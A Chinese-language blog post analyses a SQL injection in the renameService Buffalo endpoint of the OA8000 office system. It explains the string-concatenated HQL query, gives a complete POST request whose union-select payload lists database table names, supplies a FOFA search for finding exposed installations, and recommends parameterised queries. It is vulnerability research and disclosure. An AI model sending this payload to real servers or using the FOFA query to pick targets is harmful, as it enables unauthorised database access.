某天OA-renameService-SQL注入漏洞分析

# 漏洞描述 某天OA系统是一个以技术领先著称的协同软件产品,具有极为突出的实用性、易用性和高性价比,实施简便,使用灵便。该系统renameService接口中的传参可以导致HQL语句闭合造成SQL注入...

漏洞描述

某天OA系统是一个以技术领先著称的协同软件产品,具有极为突出的实用性、易用性和高性价比,实施简便,使用灵便。该系统renameService接口中的传参可以导致HQL语句闭合造成SQL注入,恶意攻击者可以通过该漏洞获取数据库敏感信息或获取服务器权限。

漏洞分析

OA系统较早版本中使用了已经停止更新的Buffalo-Ajax服务,它是一个前后贯通的完整的java Ajax框架,通过Servlet的init过程初始化配置暴露给Buffalo远程调用的服务,一般通过内置文件buffalo-service.properties进行配置。

首先找到/WEB-INF/classes/buffalo-service.properties文件,查看renameService对应的包位置

image.png

进入到com.oa8000.htfile.htfile01.manager.HtFile01Manager方法中

image.png

在第259行,有如下代码

  public List getFileListWithIdList(String[] idList) {  
    if (idList == null || idList.length == 0)  
      return null;   
    StringBuffer hql = new StringBuffer();  
    hql.append("from com.oa8000.proxy.db.HiDbFileStorage file where file.fileStorageId in (");  
    boolean firstFlg = true;  
    for (String id : idList) {  
      if (id != null && !id.equals("")) {  
        if (firstFlg) {  
          firstFlg = false;  
        } else {  
          hql.append(",");  
        }   
        hql.append("'" + id + "'");  
      }   
    }   
    hql.append(")");  
    return (new HiMainDao()).findList(hql.toString());  
  }

要调用这个getFileListWithIdList方法,Buffalo-Ajax规定请求体格式如下

<buffalo-call> 
<method>getFileListWithIdList</method> 
<list><type>[java.lang.String</type> 
<length>2</length>
<string>1</string>
<string>1</string>
</list>
</buffalo-call>

调用详情可以参考文档:http://www.blogjava.net/itstarting/archive/2010/01/12/309152.html

简单来说就是

<buffalo-call>
<method>方法名称</method>
这里填充请求参数
</buffalo-call>

咱们回到代码中,方法中接收一个数组字符串idList,再将数组中的每一个字符串拼接到HQL语句from com.oa8000.proxy.db.HiDbFileStorage file where file.fileStorageId in ()中执行

这里拼接使用的代码如下,是将每个字符串提取出来直接拼接,使用逗号隔开,最后再使用)闭合where in (条件

for (String id : idList) {  
  if (id != null && !id.equals("")) {  
    if (firstFlg) {  
      firstFlg = false;  
    } else {  
      hql.append(",");  
    }   
    hql.append("'" + id + "'");  
  }   
}   
hql.append(")"); 

这里很明显可以控制最后一个字符串让HQL语句进行闭合,在HQL转义成SQL语句执行前先闭合成我们要的HQL语句

这里又涉及到HQL语句的特性了,在5.6.15版本之前,存在着对单引号转义的差异导致的逃逸问题,参考文章:https://xz.aliyun.com/news/14857

简单来说就是如果HQL语句拼接的某一参数中存在\'转义符号,HQL语句会不进行合理性校验直接转为SQL语句,这样就不会造成报错无法执行恶意语句

比如我构造传参

<buffalo-call> 
<method>getFileListWithIdList</method> 
<list><type>[java.lang.String</type> 
<length>2</length>
<string>1</string>
<string>1\'') union select 1,2,3#</string>
</list>
</buffalo-call>

字符数组最后一个字符串闭合了HQL语句,执行时候就变成了如下的

from com.oa8000.proxy.db.HiDbFileStorage file where file.fileStorageId in ('1','1\'') union select 1,2,3#)

所以可以执行任意查询语句,这里我为了方便直接用union查询相同表长度的数据,但每次只能返回一条数据展示,因此还加上了limitoffset语句控制数据量

POST /OAapp/bfapp/buffalo/renameService HTTP/1.1
Host: 
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0

<buffalo-call>
<method>getFileListWithIdList</method>
<list>
<type>[java.lang.String</type>
<length>2</length>
<string>1</string>
<string>1\'') union select table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name from information_schema.tables where table_schema= database() LIMIT 1 OFFSET 0#</string>
</list>
</buffalo-call>

查询数据库表名称

image.png

同理查询数据库名称

image.png

总结

该漏洞的形成原因是代码中使用+号直接拼接HQL语句,才造成的SQL注入,使用预编译占位符可以规避这类的SQL注入风险。

资产测绘

FOFA语法

app="华天动力-OA8000"

image.png

漏洞复现

POC

POST /OAapp/bfapp/buffalo/renameService HTTP/1.1
Host: 
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0

<buffalo-call>
<method>getFileListWithIdList</method>
<list>
<type>[java.lang.String</type>
<length>2</length>
<string>1</string>
<string>1\'') union select table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name from information_schema.tables where table_schema= database() LIMIT 1 OFFSET 0#</string>
</list>
</buffalo-call>

image.png

漏洞修复意见

升级华天动力OA-8000到最新版,并升级Hibernate框架版本,避免HQL语句解析问题造成SQL注入。修改getFileListWithIdList方法中直接使用字符串拼接查询语句的问题,建议直接使用占位符来避免注入风险。

  • 发表于 2025-02-21 10:00:02
  • 阅读 ( 2371 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
chobits
chobits

3 篇文章

站长统计